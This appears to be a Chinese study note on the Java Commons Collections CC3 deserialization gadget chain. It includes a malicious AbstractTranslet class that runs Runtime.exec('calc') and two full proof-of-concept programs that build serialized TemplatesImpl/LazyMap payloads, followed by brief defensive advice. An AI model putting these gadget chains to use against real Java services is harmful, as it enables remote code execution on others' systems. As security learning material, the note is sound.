java反序列化 cc3学习
字数 1953 2025-08-29 22:41:02
Java反序列化CC3利用链分析与学习
前置知识
动态类加载机制
CC3利用链的核心是通过加载字节码再newInstance()实例化对象来执行命令,这与CC1通过反射实例化对象有所不同。
defineClass()方法
defineClass()是ClassLoader类的一个保护方法(protected),其作用是将一段包含合法Java字节码的字节数组转换成JVM能识别的Class<?>对象。
关键点:
- 字节码数据通常来自.class文件或动态生成
- 通过
defineClass()可以动态将字节码加载到JVM运行时环境 - 该方法相当于将字节码"翻译"成Java类的内部表示形式(Class对象)
从字节码到对象实例
加载字节码只是第一步,得到Class<?>对象后还需要实例化它:
- 通常调用
newInstance()函数 - 实例化时会执行静态代码块
- 恶意代码可以放在静态代码块中
示例代码:
// 读取字节码
byte[] bytecodes = ...;
// 自定义类加载器加载字节码
Class<?> clazz = myClassLoader.defineClass(null, bytecodes, 0, bytecodes.length);
// 实例化对象,触发静态块和构造函数
Object instance = clazz.getDeclaredConstructor().newInstance();
利用链分析
TemplatesImpl类分析
关键方法getTransletInstance()中存在newInstance()调用:
_class[_transletIndex].newInstance()
这条语句通过反射实例化_class数组中索引为_transletIndex的Class<?>对象,会:
- 创建该类的实例
- 触发构造方法和静态初始化代码
因此,如果能控制_class数组并写入包含恶意代码的class对象,就能执行恶意代码。
_class数组控制
_class数组通过_bytes变量赋值,关键赋值代码:
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// ...
}
_bytecodes是一个二维数组,每个元素都是一个byte数组,可以存放恶意字节码。
恶意类构造
恶意类示例:
public class evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
为什么需要:
- 继承
AbstractTranslet类 - 重写看似无关的方法
原因将在后面条件分析中解释。
字节码加载与实例化
基本POC结构:
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("evil.class路径"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
templates.getTransletInstance();
但getTransletInstance()是private方法,无法直接调用,需要寻找其他途径。
替代调用路径
TemplatesImpl类中的newTransformer()是public方法,内部调用了getTransletInstance(),因此可以改为:
templates.newTransformer();
必要条件分析
执行到newInstance()前需要满足的条件:
-
_tfactory不能为空- 需要设置为
TransformerFactoryImpl实例
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); - 需要设置为
-
_name不能为空setFieldValue(templates,"_name","任意非空字符串"); -
_class需要为空(初始状态即可) -
defineTransletClasses()中的条件:_bytecodes非空- 父类名必须是
ABSTRACR_TRANSLET- 因此恶意类必须继承
AbstractTranslet - 且需要实现其抽象方法(
transform)
- 因此恶意类必须继承
_transletIndex默认值为-1,需要使其≥0
完整POC示例
版本1:结合CC1前半部分
public class CC1_TemplatesImpl {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","1vxyz");
byte[] code = Files.readAllBytes(Paths.get("evil.class路径"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("cc1_templatesImpl.bin");
}
// 辅助方法省略...
}
版本2:使用InstantiateTransformer
public class CC3Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","1vxyz");
byte[] code = Files.readAllBytes(Paths.get("evil.class路径"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("sercc3.bin");
}
// 辅助方法省略...
}
技术总结
CC3利用链触发流程
-
构造恶意类字节码:
- 继承
AbstractTranslet - 在静态代码块或构造器中写入恶意命令
static { Runtime.getRuntime().exec("calc"); } - 继承
-
准备字节码:
byte[] code = Files.readAllBytes(Paths.get("Evil.class路径")); byte[][] codes = { code }; -
构造TemplatesImpl实例:
- 设置
_bytecodes为恶意字节码 - 设置
_name为非空字符串 - 设置
_tfactory为new TransformerFactoryImpl()
- 设置
-
触发执行:
- 调用
templates.newTransformer()- 调用
defineTransletClasses()- 调用
defineClass()加载字节码为Class对象 - 调用
_class[i].newInstance()实例化恶意类 - 触发静态块/构造器执行恶意代码
- 调用
- 调用
- 调用
关键调用链
TemplatesImpl.newTransformer()
↓
defineTransletClasses()
↓
_class[i] = defineClass(_bytecodes[i])
↓
_class[i].newInstance()
↓
→ 执行static块/构造函数 → 命令执行
核心技术点
-
字节码注入:
- 通过
TemplatesImpl传入恶意字节码,绕过常规白名单
- 通过
-
动态类加载:
defineClass()将字节码转为JVM可识别的Class<?>对象newInstance()实例化触发恶意逻辑
-
类型约束:
- 必须继承
AbstractTranslet(内部类型校验要求) - 需要实现抽象方法以满足编译要求
- 必须继承
与CC1的区别
- CC1:基于
InvokerTransformer的反射机制 - CC3:基于
TemplatesImpl的newInstance()机制- 通过字节码注入与动态类加载配合
- 核心在于控制
_bytecodes字段注入任意字节码 - 触发实例化操作实现命令执行
防御建议
- 升级Commons Collections库到安全版本
- 对反序列化操作进行严格限制
- 使用安全管理器限制危险操作
- 对字节码加载进行严格校验